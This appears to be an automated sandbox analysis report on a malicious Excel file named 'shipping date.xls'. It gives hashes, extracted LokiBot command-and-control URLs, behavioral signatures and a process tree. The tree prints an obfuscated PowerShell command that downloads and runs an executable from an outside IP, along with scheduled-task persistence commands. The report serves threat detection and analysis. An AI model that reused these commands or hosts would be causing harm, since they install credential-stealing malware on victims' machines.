Analysis
- max time kernel
150s - max time network
151s - platform
windows10_x64 - resource
win10-en-20211014 - submitted
19/10/2021, 14:13
Static task
static1
Behavioral task
behavioral1
Sample
shipping date.xls
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
shipping date.xls
Resource
win10-en-20211014
General
- Target shipping date.xls
- Size 168KB
- Sample211019-rjed2agaa2
- SHA256 cc79b6addef36d35bd0bf4f00516feb820da0eb89d1768d79c98bc82b136dcc2
- MD5 9d0be978f9e41f6f8d3acd8beafb7633
- SHA1 4b82d4bf3f874f0e23219e568b251fd9c06a0517
- SHA512 b5e4d2b878b9da17d2c5e195e970472c038ad5c7b9880abd1545ff83ac678de4c705823c4a216e19180f396980fa5a3d7eacb38e15e8eef006e99e4c7fa1aa87
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://3.64.251.139/v11/1/TDH_1366621005IMG.exe
Extracted
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lokibot
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http://37.0.10.190/non/z/pin.php
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http://kbfvzoboss.bid/alien/fre.php
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http://alphastand.trade/alien/fre.php
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http://alphastand.win/alien/fre.php
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http://alphastand.top/alien/fre.php
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3696 2392 cmd.exe 68 - Downloads MZ/PE file
- Executes dropped EXE 2 IoCs
pid Process 2340 dfxzdg.exe 2804 dfxzdg.exe - Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook stationdiscussion.exe Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook stationdiscussion.exe Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook stationdiscussion.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3692 set thread context of 336 3692 stationdiscussion.exe 79 PID 2340 set thread context of 2804 2340 dfxzdg.exe 86 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1104 schtasks.exe 2192 schtasks.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2392 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 3888 powershell.exe 3888 powershell.exe 3888 powershell.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3888 powershell.exe Token: SeDebugPrivilege 3692 stationdiscussion.exe Token: SeDebugPrivilege 336 stationdiscussion.exe Token: SeDebugPrivilege 2340 dfxzdg.exe - Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE 2392 EXCEL.EXE - Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 2392 wrote to memory of 3696 2392 EXCEL.EXE 72 PID 2392 wrote to memory of 3696 2392 EXCEL.EXE 72 PID 3696 wrote to memory of 3888 3696 cmd.exe 75 PID 3696 wrote to memory of 3888 3696 cmd.exe 75 PID 3888 wrote to memory of 3692 3888 powershell.exe 76 PID 3888 wrote to memory of 3692 3888 powershell.exe 76 PID 3888 wrote to memory of 3692 3888 powershell.exe 76 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 336 3692 stationdiscussion.exe 79 PID 3692 wrote to memory of 1156 3692 stationdiscussion.exe 80 PID 3692 wrote to memory of 1156 3692 stationdiscussion.exe 80 PID 3692 wrote to memory of 1156 3692 stationdiscussion.exe 80 PID 3692 wrote to memory of 696 3692 stationdiscussion.exe 82 PID 3692 wrote to memory of 696 3692 stationdiscussion.exe 82 PID 3692 wrote to memory of 696 3692 stationdiscussion.exe 82 PID 1156 wrote to memory of 1104 1156 cmd.exe 84 PID 1156 wrote to memory of 1104 1156 cmd.exe 84 PID 1156 wrote to memory of 1104 1156 cmd.exe 84 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2804 2340 dfxzdg.exe 86 PID 2340 wrote to memory of 2776 2340 dfxzdg.exe 87 PID 2340 wrote to memory of 2776 2340 dfxzdg.exe 87 PID 2340 wrote to memory of 2776 2340 dfxzdg.exe 87 PID 2340 wrote to memory of 3536 2340 dfxzdg.exe 89 PID 2340 wrote to memory of 3536 2340 dfxzdg.exe 89 PID 2340 wrote to memory of 3536 2340 dfxzdg.exe 89 PID 2776 wrote to memory of 2192 2776 cmd.exe 91 PID 2776 wrote to memory of 2192 2776 cmd.exe 91 PID 2776 wrote to memory of 2192 2776 cmd.exe 91 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook stationdiscussion.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook stationdiscussion.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\shipping date.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\throughouthouse.cmd" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3.64.251.139/v11/1/TDH_1366621005IMG.e`xe -Destination C:\Users\Public\Documents\stationdiscussion.e`xe;C:\Users\Public\Documents\stationdiscussion.e`xe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3888 -
C:\Users\Public\Documents\stationdiscussion.exe"C:\Users\Public\Documents\stationdiscussion.exe"4⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Users\Public\Documents\stationdiscussion.exe"C:\Users\Public\Documents\stationdiscussion.exe"5⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:336
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 1 /tn "Nano" /tr "'C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe'" /f5⤵
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nano" /tr "'C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe'" /f6⤵
- Creates scheduled task(s)
PID:1104
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy "C:\Users\Public\Documents\stationdiscussion.exe" "C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe"5⤵PID:696
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C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exeC:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe"C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe"2⤵
- Executes dropped EXE
PID:2804
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /sc minute /mo 1 /tn "Nano" /tr "'C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe'" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nano" /tr "'C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe'" /f3⤵
- Creates scheduled task(s)
PID:2192
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy "C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe" "C:\Users\Admin\AppData\Roaming\dfxzdg\dfxzdg.exe"2⤵PID:3536
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